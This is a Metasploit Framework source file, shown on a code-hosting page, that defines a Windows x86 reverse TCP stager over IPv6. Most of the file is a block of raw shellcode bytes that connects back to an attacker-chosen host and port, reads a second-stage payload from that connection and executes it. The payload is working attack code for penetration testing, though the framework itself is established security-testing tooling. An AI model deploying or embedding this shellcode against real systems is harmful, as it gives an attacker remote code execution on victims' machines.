PageRenderTime 53ms CodeModel.GetById 18ms RepoModel.GetById 0ms app.codeStats 0ms

/modules/payloads/stagers/windows/reverse_ipv6_tcp.rb

https://bitbucket.org/jrossi/metasploit
Ruby | 76 lines | 57 code | 10 blank | 9 comment | 1 complexity | 10826dd2ca075d62d8a4b676694791c7 MD5 | raw file
Possible License(s): GPL-2.0, LGPL-2.1, BSD-3-Clause
  1. ##
  2. # $Id$
  3. ##
  4. ##
  5. # This file is part of the Metasploit Framework and may be subject to
  6. # redistribution and commercial restrictions. Please see the Metasploit
  7. # Framework web site for more information on licensing and terms of use.
  8. # http://metasploit.com/framework/
  9. ##
  10. require 'msf/core'
  11. require 'msf/core/handler/reverse_tcp'
  12. module Metasploit3
  13. include Msf::Payload::Stager
  14. include Msf::Payload::Windows
  15. def self.handler_type_alias
  16. "reverse_ipv6_tcp"
  17. end
  18. def initialize(info = {})
  19. super(merge_info(info,
  20. 'Name' => 'Reverse TCP Stager (IPv6)',
  21. 'Version' => '$Revision$',
  22. 'Description' => 'Connect back to the attacker over IPv6',
  23. 'Author' => ['hdm', 'skape'],
  24. 'License' => MSF_LICENSE,
  25. 'Platform' => 'win',
  26. 'Arch' => ARCH_X86,
  27. 'Handler' => Msf::Handler::ReverseTcp,
  28. 'Convention' => 'sockedi',
  29. 'Stager' =>
  30. {
  31. 'Offsets' =>
  32. {
  33. 'LHOST' => [ 278+1, 'ADDR6' ],
  34. 'LPORT' => [ 272+1, 'n' ],
  35. 'SCOPEID' => [ 294+1, 'V' ]
  36. },
  37. 'Payload' =>
  38. "\xfc" +
  39. "\xe8\x56\x00\x00\x00\x53\x55\x56\x57\x8b\x6c\x24\x18\x8b\x45\x3c"+
  40. "\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x32"+
  41. "\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc\x31\xc0\xac\x38\xe0\x74\x07"+
  42. "\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c\x24\x14\x75\xe1\x8b\x5a\x24"+
  43. "\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8"+
  44. "\xeb\x02\x31\xc0\x5f\x5e\x5d\x5b\xc2\x08\x00\x5e\x6a\x30\x59\x64"+
  45. "\x8b\x19\x8b\x5b\x0c\x8b\x5b\x14\x8b\x1b\x8b\x1b\x8b\x5b\x10\x53"+
  46. "\x68\x8e\x4e\x0e\xec\xff\xd6\x89\xc7\x53\x68\x54\xca\xaf\x91\xff"+
  47. "\xd6\x81\xec\x00\x01\x00\x00\x50\x57\x56\x53\x89\xe5\xe8\x1f\x00"+
  48. "\x00\x00\x90\x01\x00\x00\xb6\x19\x18\xe7\xa4\x19\x70\xe9\xec\xf9"+
  49. "\xaa\x60\xd9\x09\xf5\xad\xcb\xed\xfc\x3b\x57\x53\x32\x5f\x33\x32"+
  50. "\x00\x5b\x8d\x4b\x18\x51\xff\xd7\x89\xdf\x89\xc3\x8d\x75\x14\x6a"+
  51. "\x05\x59\x51\x53\xff\x34\x8f\xff\x55\x04\x59\x89\x04\x8e\xe2\xf2"+
  52. "\x2b\x27\x54\x68\x02\x02\x00\x00\xff\x55\x28\x31\xc0\x50\x50\x50"+
  53. "\x6a\x06\x6a\x01\x6a\x17\xff\x55\x24\x89\xc7\xe8\x1c\x00\x00\x00"+
  54. "\x17\x00\xff\xff\x00\x00\x00\x00\xfe\x80\x00\x00\x00\x00\x00\x00"+
  55. "\x02\x1b\x63\xff\xfe\x98\xbf\x36\x00\x00\x00\x00\x59\x6a\x1c\x51"+
  56. "\x57\xff\x55\x20\x6a\x40\x5e\x56\xc1\xe6\x06\x56\xc1\xe6\x08\x56"+
  57. "\x6a\x00\xff\x55\x0c\x89\xc3\x6a\x00\x56\x53\x57\xff\x55\x18\xff"+
  58. "\xd3"
  59. }
  60. ))
  61. register_options(
  62. [
  63. OptInt.new("SCOPEID", [false, "The IPv6 Scope ID, required for link-layer addresses", 0])
  64. ], self.class)
  65. end
  66. end